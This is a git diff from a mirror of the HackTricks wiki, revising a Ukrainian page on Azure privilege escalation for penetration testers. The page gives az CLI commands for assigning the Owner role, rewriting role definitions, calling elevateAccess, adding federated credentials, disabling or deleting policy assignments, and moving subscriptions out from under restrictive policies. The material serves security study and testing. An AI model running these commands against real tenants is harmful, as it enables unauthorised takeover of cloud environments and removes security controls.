mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
Для отримання додаткової інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,14 +12,14 @@
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Цей дозвіл дозволяє призначати ролі принципам у межах конкретної області, що дозволяє зловмиснику підвищити привілеї, призначивши собі більш привілейовану роль:
|
||||
Цей дозвіл дозволяє призначати ролі принципалам у межах конкретної області, що дає можливість атакуючому підвищити привілеї, призначивши собі більш привілейовану роль:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Цей дозвіл дозволяє змінювати дозволи, надані роллю, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
|
||||
Цей дозвіл дає змогу змінювати права, надані ролі, що дозволяє зловмисникові підвищити привілеї, додавши більше прав ролі, яку він призначив.
|
||||
|
||||
Створіть файл `role.json` з наступним **вмістом**:
|
||||
```json
|
||||
@@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Тоді оновіть дозволи ролі з попереднім визначенням, викликавши:
|
||||
Потім оновіть дозволи ролі, викликавши попереднє визначення:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Ця дозволи дозволяє підвищувати привілеї та мати можливість призначати дозволи будь-якому принципалу для ресурсів Azure. Він призначений для надання Global Administrators Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
|
||||
Цей дозвіл дозволяє підвищувати привілеї та призначати дозволи будь-якому principal для ресурсів Azure. Він призначений для Entra ID Global Administrators, щоб вони також могли керувати дозволами над ресурсами Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Я вважаю, що користувачеві потрібно бути Global Administrator в Entra ID, щоб виклик підвищення працював.
|
||||
> Я думаю, користувач повинен бути Global Administrator в Entrad ID для того, щоб elevate call працював.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Цей дозвіл дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
|
||||
Цей дозвіл дозволяє додавати Federated credentials до managed identities. Наприклад, надати доступ Github Actions у repo до managed identity. Після цього він дозволяє **доступ до будь-якої визначеної користувачем managed identity**.
|
||||
|
||||
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
|
||||
Приклад команди для надання доступу repo в Github до managed identity:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Атакувальник із дозволом `Microsoft.Authorization/policyAssignments/write` або `Microsoft.Authorization/policyAssignments/delete` на рівні групи керування, підписки або групи ресурсів може **змінювати або видаляти Azure policy assignments**, потенційно **відключаючи обмеження безпеки**, які блокують певні операції.
|
||||
|
||||
Це дає доступ до ресурсів або функціональностей, які раніше були захищені політикою.
|
||||
|
||||
**Видалити призначення політики:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Вимкнути призначення політики:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Перевірте зміни:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Зловмисник з дозволом `Microsoft.Authorization/policyDefinitions/write` може **змінювати визначення політик у Azure**, змінюючи правила, що контролюють обмеження безпеки в середовищі.
|
||||
|
||||
Наприклад, політику, що обмежує дозволені регіони для створення ресурсів, можна змінити так, щоб дозволяти будь-який регіон, або ефект політики можна змінити, щоб зробити її неефективною.
|
||||
|
||||
**Змінити визначення політики:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Перевірте зміни:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Атакувальник з дозволом `Microsoft.Management/managementGroups/write` може **змінювати ієрархічну структуру management groups** або **створювати нові management groups**, потенційно обходячи обмежувальні політики, застосовані на вищих рівнях.
|
||||
|
||||
Наприклад, атакувальник може створити новий management group без обмежувальних політик і потім перемістити туди subscriptions.
|
||||
|
||||
**Створити новий management group:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Змінити ієрархію management group:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Перевірте зміни:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Зловмисник із дозволом `Microsoft.Management/managementGroups/subscriptions/write` може **переміщувати subscriptions між management groups**, потенційно **уникати обмежувальних політик**, перемістивши subscription до групи з менш суворими або без політик.
|
||||
|
||||
**Перемістити subscription до іншої management group:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Перевірте зміни:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user